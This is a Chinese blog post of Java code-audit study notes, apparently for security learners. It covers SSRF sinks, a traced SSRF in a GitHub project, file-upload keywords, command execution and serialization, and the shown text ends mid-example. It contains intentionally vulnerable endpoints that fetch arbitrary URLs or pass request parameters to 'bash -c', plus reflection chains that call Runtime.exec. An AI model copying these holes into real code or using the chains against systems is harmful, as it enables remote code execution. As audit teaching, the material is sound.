java代码审计笔记
This_is_Y Lv6

ssrf

ssrf危险函数

  • Version:0.9 StartHTML:0000000105 EndHTML:0000001403 StartFragment:0000000141 EndFragment:0000001363
  • HttpClient.execute()
  • HttpClient.executeMethod()
  • HttpURLConnection.connect()
  • HttpURLConnection.getInputStream()
  • URL.openStream()
  • HttpServletRequest()
  • BasicHttpEntityEnclosingRequest()
  • DefaultBHttpClientConnection()
  • BasicHttpRequest()

出现场景

  • 服务器请求另外一个服务器的资源的时候
  • 在线翻译
  • 转码服务
  • 图片收藏/下载
  • 信息采集• 邮件系统或者从远程服务器请求资源

关键字

  • HttpRequest.get
  • HttpRequest.post
  • Jsoup.connect
  • getForObject
  • RestTemplate
  • postForObject
  • httpclient
  • execute
  • HttpClients.createDefault
  • httpasyncclient
  • HttpAsyncClients.createDefault
  • java.net.URLConnection
  • openConnection
  • java.net.HttpURLConnection
  • openStream
  • Socket
  • java.net.Socket
  • okhttp
  • OkHttpClient
  • newCall
  • ImageIO.read
  • javax.imageio.ImageIO
  • HttpRequest.get
  • jsoup
  • Jsoup.connect
  • RestTemplate
  • org.springframework.web.client.RestTemplate

代码

11个可能出现SSRF的案例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
package com.example.ssrfdemo;

import cn.hutool.http.HttpRequest;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
import org.apache.http.HttpResponse;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClients;
import org.apache.http.impl.nio.client.CloseableHttpAsyncClient;
import org.apache.http.impl.nio.client.HttpAsyncClients;
import org.apache.http.util.EntityUtils;
import org.jsoup.Jsoup;
import org.jsoup.nodes.Document;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.client.RestTemplate;

import javax.imageio.ImageIO;
import java.awt.*;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.Socket;
import java.net.URL;
import java.net.URLConnection;
import java.util.concurrent.Future;


@RestController
@RequestMapping("/ssrfvulAll")
public class AllCode {
@GetMapping("/httpasyncclient/vul")
public String HttpAsyncClientDemo(@RequestParam String url) throws IOException {
//创建Httpclient对象
CloseableHttpAsyncClient httpclient = HttpAsyncClients.createDefault();
try {
httpclient.start();
final HttpGet request = new HttpGet(url);
//发送请求
Future<HttpResponse> future = httpclient.execute(request, null);
HttpResponse response = future.get();
return EntityUtils.toString(response.getEntity());
} catch (Exception e) {
return e.getMessage();
} finally {
try {
httpclient.close();
} catch (Exception e) {
return e.getMessage();
}
}
}



@GetMapping("/httpclient/vul")
public String HttpClientDemo(@RequestParam String url) throws IOException {
StringBuilder result = new StringBuilder();
//创建Httpclient对象
CloseableHttpClient client = HttpClients.createDefault();
//创建GET请求
HttpGet httpGet = new HttpGet(url);
//发送请求
HttpResponse httpResponse = client.execute(httpGet);
//获取响应内容
BufferedReader rd = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent()));
String line;
while ((line = rd.readLine()) != null) {
result.append(line);
}
return result.toString();
}



@GetMapping("/httpurlconnection/vul")
public String HttpUrlConnectionDemo(@RequestParam String url) throws IOException {
StringBuilder result = new StringBuilder();
URL url1 = new URL(url);
HttpURLConnection connection = (HttpURLConnection) url1.openConnection();
//设置请求方式
connection.setRequestMethod("GET");
int responseCode = connection.getResponseCode();
if (responseCode == HttpURLConnection.HTTP_OK){
BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));
String inputLine;
while ((inputLine = in.readLine()) != null) {
result.append(inputLine);
}
}
return result.toString();
}

@GetMapping("/hutool/vul")
public String HutoolDemo(@RequestParam String url){
HttpRequest httpRequest = HttpRequest.get(url);
String result = httpRequest.execute().body();
return result;
}


@GetMapping("/imageio/vul")
public String ImageioDemo(@RequestParam String url) throws IOException {
StringBuilder result = new StringBuilder();
URL url1 = new URL(url);
Image image = ImageIO.read(url1);
return image.toString();
}


@GetMapping("/jsoup/vul")
public String JsoupDemo(@RequestParam String url) throws IOException {
Document doc = Jsoup.connect(url).get();
//String title = doc.title();
//return title.toString();
return doc.toString();
}

@GetMapping("/okhttpclient/vul")
public String OkHttpClientDemo(@RequestParam String url) {
OkHttpClient client = new OkHttpClient();
Request request = new Request.Builder()
.url(url)
.build();
try (Response response = client.newCall(request).execute()) {
return response.body().string();
} catch (IOException e) {
throw new RuntimeException(e);
}
}

@GetMapping("/resttemplate/vul")
public String RestTemplateDemo(@RequestParam String url){
RestTemplate restTemplate = new RestTemplate();
String result = restTemplate.getForObject(url ,String.class);
return result;
}


@GetMapping("/socket/vul")
public String SocketDemo(@RequestParam String url, int port) throws IOException {
StringBuilder result = new StringBuilder();
Socket ss = new Socket(url,port);
System.out.println(port);
BufferedReader in = new BufferedReader(new InputStreamReader(ss.getInputStream()));
String inputLine;
while ((inputLine = in.readLine()) != null) {
result.append(inputLine);
}
in.close();
return result.toString();
}


@GetMapping("/urlconnection/vul")
public String UrlConnectionDemo(@RequestParam String url) throws IOException {
StringBuilder result = new StringBuilder();
URL url1 = new URL(url);
URLConnection urlConn = url1.openConnection();
urlConn.connect();
BufferedReader in = new BufferedReader(new InputStreamReader(urlConn.getInputStream()));
String inputLine;
while ((inputLine = in.readLine()) != null) {
result.append(inputLine);
}
in.close();
return result.toString();
}


@GetMapping("/url/vul")
public String UrlDemo(@RequestParam String url) throws IOException {
StringBuilder result = new StringBuilder();
URL url1 = new URL(url);
//使用 URL 对象的 openStream()方法创建打开指定 URL 链接,以获取输入流资源内容。
BufferedReader in = new BufferedReader(new InputStreamReader(
url1.openStream()));
String inputLine;
while ((inputLine = in.readLine()) != null) {
result.append(inputLine);
}
in.close();
return result.toString();
}


}

案例

这是一个不知道怎么找到的项目,地址:https://github.com/Tawhh/task

ssrf漏洞的触发点在后台,任务管理-项目管理-任务管理中的新增任务,可以添加http地址

image-20230823090054515

转到代码

首先根据web路由/taskJob/f_json/execJob,跳到了execJob()函数里,这边可以看到有一个execob方法,跟进

image-20230823090403507

跟进execJob方法后,这边通过传入的id值找到了对应的任务,并将它与其他变量一起创建了一个新对象(ExecJobTask类),并将此对象作为参数传给了pool.execute()方法,跟进execute方法。

image-20230823090449689

继续跟execute

image-20230823090812769

这个execute再跟进就到externalSubmit函数了,这是Fork/Join框架。

image-20230823093921752

去查了一些资料

https://www.liaoxuefeng.com/article/1146802219354112

image-20230823101335026

提到了一个compute函数,需要实现这个函数来完成执行任务的操作,而在项目中搜索compute,只有一个地方有

image-20230823101609194

代码流程跟到FrameHttpUtil.post(link, params);,传入了link和params,其中link就是刚刚输入的地址,跟进post函数

image-20230823103100051

进入post后,发现了httpclient.execute(),之前的http://127.0.0.1:8000也传到这里面来了。

image-20230823104002422

多写一点

这一部分其实没啥用,主要是倒着回溯一下compute的调用过程,以下是倒着的过程

  • java.util.concurrent.RecursiveAction#exec

    • this.compute();
  • java.util.concurrent.ForkJoinTask#doExec

    • completed = this.exec();
  • java.util.concurrent.ForkJoinPool.WorkQueue#topLevelExec

    • task.doExec();
  • java.util.concurrent.ForkJoinPool#scan

    • w.topLevelExec(t, q);
  • java.util.concurrent.ForkJoinPool#runWorker

    • while((src = this.scan(w, src, r)) >= 0);
  • java.util.concurrent.ForkJoinWorkerThread#run

    • p.runWorker(w);

线程从这里开始,再往前就没有了

文件上传

文件上传关键函数

  • File
  • lastIndexOf
  • indexOf
  • FileUpload
  • getRealPath
  • getServletPath
  • getPathInfo
  • getContentType
  • equalslgnoreCase
  • FileUtils
  • MultipartFile
  • MultipartRequestEntity
  • UploadHandleServlet
  • FileLoadServlet
  • FileOutputStream
  • getInputStream
  • DiskFileItemFactory

java 命令执行

java.lang.Runtime

方法 英文释义 中文释义(非标准)
exec(String[] cmdarray) Executes the specified command and arguments in a separate process. 在单独的进程中执行 指定的命令和参数。
exec(String command) Executes the specified string command in a separate process. 在单独的进程中执行 指定的字符串命令。
exec(String command, String[] envp, File dir) Executes the specified string command in a separate process with the specified environment and working directory 在具有指定环境和工 作目录的单独进程中 执行指定的字符串命 令。
exec(String command, String[] envp) Executes the specified string command in a separate process with the specified environment. 在具有指定环境的单 独进程中执行指定的 字符串命令。
exec(String[] cmdarray, String[] envp) Executes the specified command and arguments in a separate process with the specified environment. 在具有指定环境的单 独进程中执行指定的 命令和参数。
exec(String[] cmdarray, String[] envp, File dir) Executes the specified command and arguments in a separate process with the specified environment and working directory. 在具有指定环境和工 作目录的单独进程中 执行指定的命令和参 数。

示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
@RequestMapping("/execRuntimeString")
public void execRuntimeString(String command, HttpServletResponse response) throws IOException {
String line = null;
Process process = Runtime.getRuntime().exec(command);
BufferedReader bufferedReader =
new BufferedReader(new InputStreamReader(process.getInputStream(), Charset.forName("GBK")));
PrintWriter out = response.getWriter();
while ((line = bufferedReader.readLine()) != null) {
//逐行读取
System.out.println(line);
out.print(line);
}
bufferedReader.close();
}
@RequestMapping("/execRuntimeArray")
public void execRuntimeArray(String command, HttpServletResponse response) throws IOException {
String line = null;
String[] commandarray ={"bash","-c",command};
Process process = Runtime.getRuntime().exec(commandarray);
BufferedReader bufferedReader =
new BufferedReader(new InputStreamReader(process.getInputStream(), Charset.forName("GBK")));
PrintWriter out = response.getWriter();
while ((line = bufferedReader.readLine()) != null) {
//逐行读取
System.out.println(line);
out.print(line);
}
bufferedReader.close();
}

java.lang.ProcessBuilder

java.lang.ProcessBuilder 也是java.lang中的一个API。该类主要用于创建操作系统进程

command()方法

1
2
3
//简易示例代码
ProcessBuilder p = new ProcessBuilder();
p.command("calc");

start()方法

使用 start() 方法可以创建一个新的具有命令,或环境,或工作目录,或输入来源,或标准输出和标准错误输出的目标,或redirectErrorStream属性的进程。
新进程中调用的命令和参数有 command() 方法设置,工作目录将由 directory() 方法设置,进程环境将由 environment() 设置。

在使用 command() 方法设置执行命令参数后,然后由 start() 方法创建一个新的进程进而在系统中执行了我们设置的命令。

这么看来 java.lang.ProcessBuilder#start() 和 Runtime.exec(String[] cmdarray, String[] envp, File dir) 有些相似。

1
2
//简易示例代码
Process cmd = new ProcessBuilder(command).start();

示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@RequestMapping("/execProcessBuilder")
public void execProcessBuilder(String command,HttpServletResponse response) throws IOException{
String line;
ProcessBuilder processBuilder = new ProcessBuilder();
processBuilder.command("bash","-c",command);
Process process = processBuilder.start();
BufferedReader bf = new BufferedReader(new InputStreamReader(process.getInputStream(), StandardCharsets.UTF_8));
PrintWriter out = response.getWriter();
while ((line = bf.readLine()) != null) {
//逐行读取
System.out.println(line);
out.print(line);
}
bf.close();
}

java.lang.UNIXProcess/ProcessImpl

UNIXProcess类是*nix系统在java程序中的体现,可以使用该类创建新进程,实现与”fork”类似的功能

对于Windows系统,使用的是java.lang.ProcessImpl类。

UNIXProcess 和 ProcessImpl 可以理解本就是一个东西,因为在JDK9的时候把 UNIXProcess 合并到了 ProcessImpl 当中了。具体可查看:https://hg.openjdk.java.net/jdk-updates/jdk9u/jdk/rev/98eb910c9a97

示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
   @RequestMapping("/execProcessImpl")
public static void execProcessImpl(String command, HttpServletResponse response) throws IOException, ClassNotFoundException, InvocationTargetException, IllegalAccessException, NoSuchMethodException {
String line;
String[] cmds = new String[]{"bash", "-c", command};

Class claxx = Class.forName("java.lang.ProcessImpl");
Method method = claxx.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
method.setAccessible(true);
Process process = (Process) method.invoke(null, cmds, null, ".", null, true);

BufferedReader bf = new BufferedReader(new InputStreamReader(process.getInputStream(), StandardCharsets.UTF_8));
PrintWriter out = response.getWriter();
while ((line = bf.readLine()) != null) {
//逐行读取
System.out.println(line);
out.print(line);
}
bf.close();

}
}

这部分代码没有测试成功

java 反射

获取class对象

获取Class对象的方式有下面几种,:

  • 根据类名:类名.class
  • 根据对象:对象.getClass()
  • 根据全限定类名:Class.forName(全路径类名)
  • 通过类加载器获得class对象:ClassLoader.getSystemClassLoader().loadClass(“com.example.xxx”);

示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package org.example.DEMO;

import org.example.DEMO.entity.User;

public class GetClass {
public static void main(String[] args) throws
ClassNotFoundException {
//1.通过类名.class
Class c1 = User.class;
//2.通过对象的getClass()方法
User user = new User();
Class c2 = user.getClass();
//3.通过 Class.forName()获得Class对象;
Class c3 = Class.forName("org.example.DEMO.entity.User");
//4.通过类加载器获得class对象
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
Class c4 = classLoader.loadClass("org.example.DEMO.entity.User");
System.out.println(c1);
System.out.println(c2);
System.out.println(c3);
System.out.println(c4);
}

}

image-20230816091042699

需要注意的点

  • 类名.class:需要导入类的包。
  • 对象.getClass():初始化对象后,其实不需要再使用反射了。
  • Class.forName(全路径类名):需要知道类的完整全路径,这是我们常使用的方法。
  • 通过类加载器获得class对象:ClassLoader.getSystemClassLoader().loadClass(“com.example.xxx”);

反射api

Java提供了一套反射API,该API由 Class 类与 java.lang.reflect 类库组成。
该类库包含了 Field 、 Method 、 Constructor 等类。

在写示例代码前,先准备一个Usernfo类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package org.example.DEMO.reflectdemo;

public class UserInfo {
private String name;
public int age;
public UserInfo() { }
private UserInfo(String name) {
this.name = name;
}
public UserInfo(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
private String introduce() {
return "我叫" + name + ",今年" + age + "岁了!";
}
public String sayHello() {
return "Hello!我叫[" + name + "]";
}
@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}

java.lang.Class

用来描述类的内部信息, Class 的实例可以获取类的包、注解、修饰符、名称、超类、接口等。

示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package org.example.DEMO.reflectdemo;

import java.lang.reflect.Modifier;

public class ClassDemo {
public static void main(String[] args) throws
ClassNotFoundException {
Class clazz = Class.forName("org.example.DEMO.reflectdemo.UserInfo");
// 获取该类所在包路径
Package aPackage = clazz.getPackage();
System.out.println("getPackage运行结果:" + aPackage);
// 获取类上的修饰符
int modifiers = clazz.getModifiers();
String modifier = Modifier.toString(modifiers);
System.out.println("getModifiers运行结果:" + modifier);
// 获取类名称
String name = clazz.getName();
System.out.println("getName运行结果:" + name);
// 获取简单类名
String simpleName = clazz.getSimpleName();
System.out.println("getSimpleName运行结果:" + simpleName);
}

}

image-20230816092551347

java.lang.reflect.Field

提供了类的属性信息。可以获取属性上的注解、修饰符、属性类型、属性名等。

示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package org.example.DEMO.reflectdemo;

import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
public class FieldDemo {
public static void main(String[] args) throws Exception{
Class<?> clazz = Class.forName("org.example.DEMO.reflectdemo.UserInfo");
// 获取一个该类或父类中声明为 public 的属性
Field field1 = clazz.getField("age");
System.out.println("getField运行结果:" + field1);
// 获取该类及父类中所有声明为 public 的属性
Field[] fieldArray1 = clazz.getFields();
for (Field field : fieldArray1) {
System.out.println("getFields运行结果:" + field);
}
// 获取一个该类中声明的属性
Field field2 = clazz.getDeclaredField("name");
System.out.println("getDeclaredField运行结果:" + field2);
// 获取某个属性的修饰符(该示例为获取上面name属性的修饰符)
String modifier = Modifier.toString(field2.getModifiers());
System.out.println("getModifiers运行结果: " + modifier);
// 获取该类中所有声明的属性
Field[] fieldArray2 = clazz.getDeclaredFields();
for (Field field : fieldArray2) {
System.out.println("getDeclaredFields运行结果:" + field);
}
}
}

image-20230816094620991

java.lang.reflect.Method

提供了类的方法信息。可以获取方法上的注解、修饰符、返回值类型、方法名称、所有参数

示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package org.example.DEMO.reflectdemo;

import java.lang.reflect.Method;
import java.lang.reflect.Parameter;
public class MethodDemo {
public static void main(String[] args) throws Exception{
Class<?> clazz = Class.forName("org.example.DEMO.reflectdemo.UserInfo");
// 获取一个该类及父类中声明为 public 的方法,需要指定方法的入参类型
Method method = clazz.getMethod("setName", String.class);
System.out.println("01-getMethod运行结果:" + method);
// 获取所有入参
System.out.println("\n");
Parameter[] parameters = method.getParameters();
for (Parameter temp : parameters) {
System.out.println("getParameters运行结果 " + temp);
}
System.out.println("\n");
// 获取该类及父类中所有声明为 public 的方法
Method[] methods = clazz.getMethods();
for (Method temp : methods) {
System.out.println("02-getMethods运行结果:" + temp);
}

System.out.println("\n");
// 获取一个在该类中声明的方法
Method declaredMethod = clazz.getDeclaredMethod("getName");
System.out.println("03-getDeclaredMethod运行结果:" + declaredMethod);
// 获取所有在该类中声明的方法
Method[] declaredMethods = clazz.getDeclaredMethods();
for (Method temp : declaredMethods) {
System.out.println("04-getDeclaredMethods运行结果:" + temp);
}
System.out.println("\n");
}
}

image-20230816094545592

java.lang.reflect.Modifier

提供了访问修饰符信息。通过 Class 、 Field 、 Method 、 Constructor 等对象都可以获取修饰符,这个访问修饰符是一个整数,可以通过 Modifier.toString 方法来查看修饰符描述。并且该类提供了一些静态方法和常量来解码访问修饰符。(修饰符就是前面的public,private之类的东西)

示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package org.example.DEMO.reflectdemo;

import java.lang.reflect.Modifier;
/**
* 编号7089
*/
public class ModifierDemo {
public static void main(String[] args) throws Exception{
Class<?> clazz = Class.forName("org.example.DEMO.reflectdemo.UserInfo");
// 获取类的修饰符值
int modifiers1 = clazz.getModifiers();
System.out.println("获取类的修饰符值getModifiers运行结果:" + modifiers1);
// 获取属性的修饰符值
int modifiers2 = clazz.getDeclaredField("name").getModifiers();
System.out.println("获取属性的修饰符值getModifiers运行结果:" + modifiers2);
// 获取方法的修饰符值
int modifiers4 = clazz.getDeclaredMethod("setName", String.class).getModifiers();
System.out.println("获取方法的修饰符值getModifiers运行结果:" + modifiers4);
// 根据修饰符值,获取修饰符标志的字符串
String modifier = Modifier.toString(modifiers1);
System.out.println("获取类的修饰符值的字符串结果:" + modifier);
System.out.println("获取属性的修饰符值字符串结果:" + Modifier.toString(modifiers2));
System.out.println("获取方法的修饰符值资费从结果:" + Modifier.toString(modifiers4));
}
}

image-20230816100737506

java.lang.reflect.Constructor

提供了类的构造函数信息。可以获取构造函数上的注解信息、参数类型等。

示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package org.example.DEMO.reflectdemo;

import java.lang.reflect.Constructor;
public class ConstructorDemo {
public static void main(String[] args) throws Exception{
Class<?> clazz = Class.forName("org.example.DEMO.reflectdemo.UserInfo");
// 获取一个声明为 public 构造函数实例
Constructor<?> constructor1 = clazz.getConstructor(String.class,int.class);
System.out.println("1-getConstructor运行结果:" + constructor1);
// 根据构造函数创建一个实例
Object c1 = constructor1.newInstance("power7089",18);
System.out.println("2-newInstance运行结果: " + c1);
// 获取所有声明为 public 构造函数实例
Constructor<?>[] constructorArray1 = clazz.getConstructors();
for (Constructor<?> constructor : constructorArray1) {
System.out.println("3-getConstructors运行结果:" + constructor);
}
// 获取一个声明的构造函数实例
Constructor<?> constructor2 = clazz.getDeclaredConstructor(String.class);
System.out.println("4-getDeclaredConstructor运行结果:" + constructor2);
// 将构造函数的可访问标志设为 true 后,可以通过私有构造函数创建实例
constructor2.setAccessible(true);
Object o2 = constructor2.newInstance("Power7089666");
System.out.println("5-newInstance运行结果:" + o2);
// 获取所有声明的构造函数实例
Constructor<?>[] constructorArray2 = clazz.getDeclaredConstructors();
for (Constructor<?> constructor : constructorArray2) {
System.out.println("6-getDeclaredConstructors运行结果:" + constructor);
}
}
}

image-20230816110546268

java.lang.reflect.AccessibleObject

是 Field 、 Method 和 Constructor 类的类。该类提供了对类、方法、构造函数的访问控制检查的能力(如:私有方法只允许当前类访问)。

该访问检查在设置/获取属性、调用方法、创建/初始化类的实例时执行。

示例代码

1
2
3
4
5
6
7
8
// 可以看 ConstructorDemo 类代码,涉及到了 setAccessible() ,如下:
// 获取一个声明的构造函数实例
Constructor<?> constructor2 = clazz.getDeclaredConstructor(String.class);
System.out.println("4-getDeclaredConstructor运行结果:" + constructor2);
// 将构造函数的可访问标志设为 true 后,可以通过私有构造函数创建实例
constructor2.setAccessible(true);
Object o2 = constructor2.newInstance("Power7089666");
System.out.println("5-newInstance运行结果:" + o2);

java反射到命令执行

runtime

普通的通过runtime执行命令的代码

1
Process process = Runtime.getRuntime().exec("calc.exe");

getmethod

1
2
3
4
5
6
Class<?> clazz = Class.forName("java.lang.Runtime");
Method getRuntimeMethod = clazz.getMethod("getRuntime");
Object runtime = getRuntimeMethod.invoke(clazz);

Method execMethod = clazz.getMethod("exec", String.class);
execMethod.invoke(runtime, "calc.exe");

代码解读

首先通过forName获取到java.lang.Runtime
然后获取getRuntime方法,使用invoke执行该方法,获取到runtime( Runtime.getRuntime() )。
然后通过getMethod获取到exec方法,后面的String.class是使用6个exec调用方式(重载)中的最简单的一个方法image-20230816113226144
最后在通过invoke方法调用runtime对象执行命令( Runtime.getRuntime().exec(“calc.exe”) )。

简化后代码

1
2
Class<?> clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec",String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz),"calc.exe");

(个人理解),invoke执行代码前,可以将invoke函数内的参数和原函数的参数对比

1
2
3
4
5
6
7
8
9
getRuntime()
getRuntimeMethod.invoke(clazz);
// 这里可以看到,多了一个clazz,clazz是getRuntime()前面的Runtime

exec("calc.exe")
execMethod.invoke(runtime, "calc.exe");

// 可以看到多了一个runtime,而runtime是exec前的 Runtime.getRuntime()
// 有点像python的类里面,都会加一个self

getDeclaredConstructor

1
2
3
4
5
Class<?> clazz = Class.forName("java.lang.Runtime");
Constructor m = clazz.getDeclaredConstructor();
m.setAccessible(true);
Method c1 = clazz.getMethod("exec", String.class);
c1.invoke(m.newInstance(), "calc.exe")

简单解读:
首先通过Class.forName获取java.lang.Runtime。
接下来通过getDeclaredConstructor获取构造函数。
通过 setAccessible(true) 设置改变作用域,让我们可以调用他的私有构造函数。
调用exec方法,入参设置为 String.class 。
最后使用Invoke执行方法。

ProcessBuilder

普通的通过ProcessBuilder执行命令的代码

1
2
3
ProcessBuilder processBuilder = new ProcessBuilder();
processBuilder.command("bash","-c",command);
Process process = processBuilder.start();

通过反射借助ProcessBuilder执行代码

1
2
3
4
5
6
7
8
9
10
11
12
clazz = Class.forName("java.lang.ProcessBuilder");
Object object = clazz.getConstructor(List.class).newInstance(Arrays.asList("bash","-c","echo 6"));
process = (Process) clazz.getMethod("start").invoke(object,null);
result(process);

clazz = Class.forName("java.lang.ProcessBuilder");
process = (Process) ((ProcessBuilder) clazz.getConstructor(List.class).newInstance(Arrays.asList("bash","-c","echo 7"))).start();
result(process);

clazz = Class.forName("java.lang.ProcessBuilder");
process = (Process) clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("bash","-c","echo 8")));
result(process);

ProcessImpl

通过ProcessImpl执行命令的代码

1
2
3
4
5
6
7
8
clazz = Class.forName("java.lang.ProcessImpl");
String[] cmds = {"bash","-c","echo homework"};
Method method = clazz.getDeclaredMethod("start", String[].class,
Map.class, String.class, ProcessBuilder.Redirect[].class,
boolean.class);
method.setAccessible(true);
process = (Process) method.invoke(null, cmds, null, ".", null, true);
result(process);

首先通过forName获取到java.lang.ProcessImpl

通过getDeclaredMethod构造函数start,start函数的参数分别为String, Map, String, ProcessBuilder, Redirect[], boolean

构造好之后,将构造函数的可访问标志设为 true 后,可以通过私有构造函数创建实例。或者说改变作用域,让我们可以调用他的私有构造函数。

最后调用构造好的函数执行cmds的命令

最后的完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
package org.example.DEMO.codeexec;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;
import java.lang.reflect.Constructor;
import java.util.Arrays;
import java.util.List;
import java.util.Map;


public class test {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException, InstantiationException {

// 普通Runtime
Process process = Runtime.getRuntime().exec("echo 1");
result(process);


// 反射 getMethod
Class<?> clazz = Class.forName("java.lang.Runtime");
Method getRuntimeMethod = clazz.getMethod("getRuntime");
Object runtime = getRuntimeMethod.invoke(clazz);

Method execMethod = clazz.getMethod("exec", String.class);
process = (Process) execMethod.invoke(runtime, "echo 2");
result(process);


// 简化后的反射 getMethod
clazz = Class.forName("java.lang.Runtime");
process = (Process) clazz.getMethod("exec",String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz),"echo 3");
result(process);


// getDeclaredConstructor执行代码
clazz = Class.forName("java.lang.Runtime");
Constructor m = clazz.getDeclaredConstructor();
m.setAccessible(true);
Method c1 = clazz.getMethod("exec", String.class);
process = (Process) c1.invoke(m.newInstance(), "echo 4");
result(process);


// 普通ProcessBuilder执行代码
ProcessBuilder processBuilder = new ProcessBuilder();
processBuilder.command("bash","-c","echo 5");
process = processBuilder.start();
result(process);


// ProcessBuilder通过反射执行代码
clazz = Class.forName("java.lang.ProcessBuilder");
Object object = clazz.getConstructor(List.class).newInstance(Arrays.asList("bash","-c","echo 6"));
process = (Process) clazz.getMethod("start").invoke(object,null);
result(process);


clazz = Class.forName("java.lang.ProcessBuilder");
process = (Process) ((ProcessBuilder) clazz.getConstructor(List.class).newInstance(Arrays.asList("bash","-c","echo 7"))).start();
result(process);

clazz = Class.forName("java.lang.ProcessBuilder");
process = (Process) clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("bash","-c","echo 8")));
result(process);

clazz = Class.forName("java.lang.ProcessImpl");
String[] cmds = {"bash","-c","echo homework"};
Method method = clazz.getDeclaredMethod("start", String[].class,
Map.class, String.class, ProcessBuilder.Redirect[].class,
boolean.class);
method.setAccessible(true);
process = (Process) method.invoke(null, cmds, null, ".", null, true);
result(process);
}

public static void result(Process p) throws IOException {
String line;
BufferedReader bf = new BufferedReader(new InputStreamReader(p.getInputStream(), StandardCharsets.UTF_8));
while ((line = bf.readLine()) != null) {
//逐行读取
System.out.println(line);
}
bf.close();
}
}

java序列化和反序列化

借一下别人的图

image-20230816163025066

序列化

序列化是指把 Java 对象转换为字节序列的过程,目的是便于保存在内存、文件、数据库中。
ObjectOutputStream 类的 writeObject() 方法可以实现序列化。
writeObject()方法:将指定的对象写入ObjectOutputStream中。

1
public final void writeObject(Object obj)throws IOException

官方文档详细说明:https://docs.oracle.com/javase/8/docs/api/java/io/ObjectOutputStream.html#writeObject-java.lang.Object-
一个类的对象要想序列化成功,必须满足两个条件:

  • 该类必须实现 java.io.Serializable 接口。
  • 该类的所有属性必须是可序列化的。如果有一个属性不是可序列化的,则该属性必须注明是短暂的。

反序列化

反序列化是指把字节序列恢复为 Java 对象的过程。
ObjectInputStream 类的 readObject() 方法可实现反序列化。
readObject()方法:从ObjectInputStream读取一个对象。

1
public final Object readObject()throws IOException,ClassNotFoundException

示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import java.io.*;

public class SerializeDemo {
public static void main(String[] args) throws IOException, ClassNotFoundException {
HackInfo hack = new HackInfo();
hack.id = "Power7089";
hack.team = "闪石星曜CyberSecurity";
//将序列化后的字节序列写到serializedata.txt文件中
FileOutputStream fileOut = new
FileOutputStream("/tmp/test/serializedata.txt");
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(hack);
out.close();
fileOut.close();
System.out.println("序列化的数据已经保存在了serializedata.txt文件 中");

HackInfo hackdes = null;
FileInputStream fileIn = new FileInputStream("/tmp/test/serializedata.txt");
ObjectInputStream ObjIn = new ObjectInputStream(fileIn);
hackdes = (HackInfo) ObjIn.readObject();
System.out.println("反序列化完成");
System.out.println("id = "+ hackdes.id);
